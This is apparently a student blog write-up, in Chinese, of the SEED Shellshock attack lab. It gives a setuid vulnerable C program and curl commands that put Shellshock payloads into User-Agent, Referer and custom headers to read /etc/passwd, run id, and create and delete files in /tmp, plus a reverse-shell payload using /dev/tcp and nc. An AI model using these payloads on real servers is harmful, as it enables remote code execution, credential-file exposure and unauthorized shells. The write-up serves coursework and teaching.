admin管理员组

文章数量:1516870

软件安全课程实验2 Shellshock Attack lab

Shellshock_Attack_lab

个人博客地址

task 1

//vul.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void main(){setuid(geteuid());system("/bin/ls -l");
}

首先准备有漏洞的程序vul.c

然后我们编译运行,并将其变成一个set-UID程序

因为Ubuntu20.04中/bin/sh指向/bin/dash,而这个程序没有shellshock漏洞,所以需要更改符号链接,采用命令

sudo ln -sf /bin/bash_shellshock /bin/sh

同时我们发现20.04中/bin文件夹下没有bash_shellshock文件,所以我们需要sudo su进入root后自己cp一下。

我们定义一个shell变量foo并输出它,这样当运行set-UID程序(vul)时,shell变量会变成子进程的环境变量。由于system函数的原因,Bash会被调用,它监测到环境变量foo中存放了一个环境声明,因此会解析该声明,由于逻辑解析的漏洞,它最终会执行放在末尾的/bin/sh指令,所以我之后会成功进入一个具有root权限的shell程序。

将链接改回去后再次执行vul,我们发现程序正常,没有被攻击。

task 2

task 2.A: Using brower

Apache服务器会从http请求头中获取信息,赋值给CGI程序的环境变量。

task 2.B Using curl

curl -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-v 打印出http请求头

curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-A 设置User-Agent

curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-e 设置Referer字段

curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-H 设置额外头字段

task 3

Task 3.A:

  • Get the server to send back the content of the /etc/passwd file.

利用了-A修改User-Agent字段

执行命令

curl -A "() { echo hello; }; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" .cgi

Task 3.B:

Get the server to tell you its process’ user ID. Y ou can use the /bin/id command to print out the ID information.

利用-e修改Referer字段来获取ID

执行命令

curl -e "() { echo hello; }; echo Content_type: text/plain; echo; /bin/id" .cgi

Task 3.C:

Get the server to create a file inside the /tmp folder. Y ou need to get into the container to see whether the file is created or not, or use another Shellshock attack to list the /tmp folder.

利用-H创建额外头字段

查看tmp

curl -H "test: () { echo hello; }; echo Content_type: text/plain; echo; /bin/ls /tmp " .cgi

创建test

curl -H "test: () { echo hello; }; echo Content_type: text/plain; echo; /bin/touch /tmp/test " .cgi

Task 3.D:

Get the server to delete the file that you just created inside the /tmp folder

删除test

curl -H "test: () { echo hello; }; echo Content_type: text/plain; echo; /bin/rm /tmp/test " .cgi

Q1:不能打开/etc/shadow,因为只是www-data权限,权限不够,需要root权限

Q2:不能成功,不能成功将带空格的字符串设置为环境变量,所以不能攻击成功

test 4

nc -lvnp 9090

curl -A "() { echo hello;}; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1" .cgi

test 5

新建一个vul.cgi修改为bash后,重新dcbuild一个容器,后再次执行攻击,发现攻击无法成功。因为bash填补了shellshock漏洞,所以无法攻击成功。

本文标签: 软件安全课程实验2 Shellshock Attack lab